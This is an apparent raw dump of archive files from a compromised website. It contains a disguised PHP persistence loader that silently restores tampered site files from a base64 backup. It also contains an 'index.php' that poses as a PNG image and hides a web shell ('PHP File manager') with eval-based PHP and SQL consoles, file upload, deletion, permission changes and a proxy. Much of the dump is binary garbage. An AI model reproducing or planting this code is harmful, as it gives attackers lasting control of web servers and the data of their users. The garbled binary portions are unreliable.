l8B}pA y>t#M<|RUWj5bCpR0"^g^4oD0傏txkZUHJѹ<FQهYek(xB1D2\%NQ1zOnE{cYVbCk,e (3JzҿKNUQR`%|g04D-1B8#Ց pcWO#aD׶4(+{N=Ǿ_ոSYƧ5!.pY3ɓq@mZH^rUa8(}FzZA|ق&23h"*]*ESUzW7zcw,=n\kDYVˊ^_$:lH<*
BM@c =ZMx294)McUۤc	홹jZF@c%v`* !{x\S佰T@0AG@k½I	_$wJ<$bđ	^P4
0d;uO0jᔈ E(-N7 #qY`B4z`$P+V0D , lC?kZM0AH=XsO5}R & Ql
aJ wA+Q`@-36F;!$H:D)f@H
x>mKPL
׃MP@7[Lwu x %v_/ D%2 2P[blf$7Z/F+O	A	Gz~8$GX-pUhHmf!:ֈDУ!$x`iN`	ύPoz"6wj A"Y=ϰȤj[@yRT_nHj$&oo*Q7jB')я>jhZ yh%r	E:*{P
 oyu7]qԦT*a{}(I`Pi~UU*J,^FW!PAbvM4UXy0{}Jd-xB
lPI\|`9n 4<#q2daR+̇^IMleX`MK$;$.>r6>ñz@j`1"NZBk<GtPEg)M*3"c^P^@9y4x˾xLz,DIGD!hxЅ[B҉^C#!ؤ@E5̿\>!X:Ŋ{!m_2{W@K:DPy1ȗ}g=Rj湪16Ch@}k2.pZB
EBg:	5.LPye'
uߣ#Xox+Ѕ{f~6I4	˖#m4l/2Lf#A6ǿ$H	 '
ti4CRofB79	'PPXZOU3w?֛fTb5\*@dD{kO={YXɐ*KJz5hk+4@5#RRu T5(U(P
Mf4e#T9]ثFWӓP3R {&N$6Γɟ[ Ӣý7>˃A莈g:P{V?Gb0kb Ϋ36crgٌ|ߨ	b
SZ8SAa2 ;hvθ;չ.l=^0{tD)hvs5Es{Ыͪ!p-8_yIUbih/N!1գANpy5)hn8B4`Q,J$AyT:w@vx⁔`D&c>;HAyx~ȍF%h=$%%N<*:
˜xd\	tG$`w43&}f
"n
+df/pԩcL}HQ?u^Up!AX#i1iH =Irwyj-X<	C`s@0 *Hڣ @(>.~,. aIpAv՗ xުz>vUjA#4GhP4eeD\ 6qဳiUȨI$6(C
}5Ye76`utHZ41>5V!9jƚwаK{x{OMj0 l( 8a𶣓fÈ '"=ɋAU;"CB|u-Ar'{GA{w7WDLV\A{^57 !\{M=ϮJm%?ZE3v5h8TSW%_!ŪA;;j4<PjAD c-x`T3~W Ju`r1ik/\3_5AfB/t
Lƍc.}Xzg@wb <9
>Nau{]F` lAw|2FW3^.?]W=ǈD0J{weRʗ@k	E"'qN:'nՊw	"1,\{fg-4pE`@hfhR"\ Gh DMU?[8QBPpb%,Q,
sFTf̈́<Ri/ 	 |U 2V^rHi6:MU'WT%eF31͈!үq+E#WfMU>c	VL
/$hfRIL8I@Lĕuj=q૪z"p56$PHp
Y̿ t!%" ƙ)XgfD1# XD>vu|:i_*MΘ!Yh:)!
Cr2<	n'x<oⲚ=*{5 ${!!BhJHhR&gY@l	b2kVe8'j@UFD(9,KPWV$4lbuk?L Ht2NiQxC˷^E* 5q|
)CIƷZ
qLѓ*Y	+Ag[@-͘ _\ЂDJ
֊
9
%+hhUaG	^_߰=lGn*&jyL_΁&d!|	 뫂ԀQ ƣ(FƆ.^T?怜A7\kZ`:ώ{)<\V϶j>PD2e(}~]W+7:L
#^
P|$ЀhH<Ttϗ9[(M}	5c(k)J	i>U|GߕGǠ.vi59QۥD_={UZDڀqV!`΃<tLX'| {.BAŮ7?>w~@nUva3M0Qʇ~?U	QUlCE!٫nI=@,y|QthC%yKYmjF5%fS^wu5c4Wb =udS)^""&{"IǠxAf=P+Bo+WSA5@@r|7Si'R"6ė}|!G{	=1G>BpϿ?63                                                                                                                                                                                                                                                                                                                                                                                                                                                            364262/runtime-loader.php.tar                                                                       0000644                 00000005000 15243264725 0011544 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-loader.php                                        0000644                 00000001672 15243251150 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262/364262.tar                                                                                   0000644                 00003553000 15243264725 0006610 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
